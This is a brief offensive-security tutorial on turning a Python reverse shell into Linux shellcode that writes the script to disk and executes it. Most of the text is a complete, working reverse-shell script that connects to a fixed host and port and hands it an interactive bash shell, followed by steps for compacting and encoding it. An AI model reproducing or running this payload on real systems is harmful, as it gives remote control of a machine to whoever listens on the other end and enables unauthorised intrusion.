Linux Write to HDD and Execute Shellcode

In most cases this method of shellcode dev should not be used because the “Write to Mem” is superior over the “Write to HDD”
Also, note that I have tested this to work on Kali Linux. This may not work on other linux distros like Ubuntu.
Let’s take the following reverse shell written in python which every OSX box and almost every Linux box has.

#!/usr/bin/env python

# GNUv3 (Scourge) 
# Python Reverse Shell with PWD feedback
# Based off of the pentestermonkey version

import socket,pty,os; 
# import pty, not subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("10.1.1.25",5555)) 

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2) 

x=pty.spawn("/bin/bash") 
# pty in place of subprocess

Next we will remove un-needed newlines and spaces.
For help with formatting file-to-base64 use

Rmutate -h -f6


Unlike the OSX example, on this linux example, we will keep the Shabang (header) to save bytes. That way we won’t need as much ASM code to execute the script.
After we finished running the command above, we have our code in our clipboard. All we need to do now is send it to a file and execute. If your code is too long you can use the “-x” parameter to automatically send the output to a file.